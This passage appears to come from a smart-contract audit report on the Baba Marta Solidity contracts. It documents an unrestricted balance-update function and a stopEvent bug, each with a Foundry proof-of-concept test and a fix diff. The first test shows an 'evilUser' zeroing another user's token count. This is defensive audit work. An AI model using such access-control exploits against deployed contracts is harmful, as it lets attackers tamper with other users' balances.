function, bypassing any previous restriction, to update its own balance or that of any other user as there is no control over who is calling the function. This means that an attacker can negatively or positively influence not only its own balance, but also that of other users.
Affected code
/**
* @notice Function to update the count of martenitsaTokens for a specific address.
* @param owner The address of the owner.
* @param operation Operation for update: "add" for +1 and "sub" for -1.
*/
@> function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
@> if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
Proof of Code
You can test this by adding testUnrestricted_updateCountMartenitsaTokensOwner()
to MartenitsaToken.t.sol
test suite.
function testUnrestricted_updateCountMartenitsaTokensOwner() public createMartenitsa {
address newUser = makeAddr("newUser");
address evilUser = makeAddr("evilUser");
vm.startPrank(newUser);
for (uint256 i = 0; i < 100; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(newUser, "add");
}
vm.stopPrank();
assert(martenitsaToken.getCountMartenitsaTokensOwner(newUser) == 100);
vm.startPrank(evilUser);
for (uint256 i = 0; i < 100; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(newUser, "sub");
}
vm.stopPrank();
assert(martenitsaToken.getCountMartenitsaTokensOwner(newUser) == 0);
}
Solution
It is advisable to implement checks on the function MartenitsaToken::updateCountMartenitsaTokensOwner
to check the origin of the function call. One possible solution is the following.
+import {MartenitsaMarketplace} from "./MartenitsaMarketplace.sol";
...
+ MartenitsaMarketplace private _martenitsaMarketplace;
...
+ function setMarketAddress(address martenitsaMarketplace) public onlyOwner {
+ _martenitsaMarketplace = MartenitsaMarketplace(martenitsaMarketplace);
+ }
...
function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
+ require(msg.sender == address(_martenitsaMarketplace), "Unable to call this function");
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
First Flight #13: Baba Marta M-01. MartenitsaEvent::stopEvent
does not clear the list of partecipants not allowing recurring users to join new events
Summary
The stopEvent
function in the MartenitsaEvent
contract fails to remove participants from the list of participants after the event ends thus preventing recurring users from joining new events as their addresses remain stored in the _participants
mapping.
Affected code
/**
* @notice Function to remove the producer role of the participants after the event is ended.
*/
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
for (uint256 i = 0; i < participants.length; i++) {
@> isProducer[participants[i]] = false;
@> }
}
Proof of Code
You can test this by adding testJoinNewEvent()
to MartenitsaToken.t.sol
test suite.
function testJoinNewEvent() public eligibleForReward {
martenitsaEvent.startEvent(1 days);
vm.startPrank(bob);
marketplace.collectReward();
healthToken.approve(address(martenitsaEvent), 10 ** 18);
martenitsaEvent.joinEvent();
vm.stopPrank();
vm.warp(block.timestamp + 1 days + 1);
martenitsaEvent.stopEvent();
//start a new event
martenitsaEvent.startEvent(1 days);
vm.startPrank(bob);
marketplace.collectReward();
healthToken.approve(address(martenitsaEvent), 10 ** 18);
vm.expectRevert(bytes("You have already joined the event"));
martenitsaEvent.joinEvent();
vm.stopPrank();
}
Solution
It is advisable to clear the list of partecipants after stopping an event to allow recurring users to join new events. An example to do so is the following.
/**
* @notice Function to remove the producer and partecipant roles of the participants after the event is ended.
*/
function stopEvent() external onlyOwner {
require(block.timestamp >= eventEndTime, "Event is not ended");
for (uint256 i = 0; i < participants.length; i++) {
isProducer[participants[i]] = false;
+ _participants[participants[i]] = false;
}
}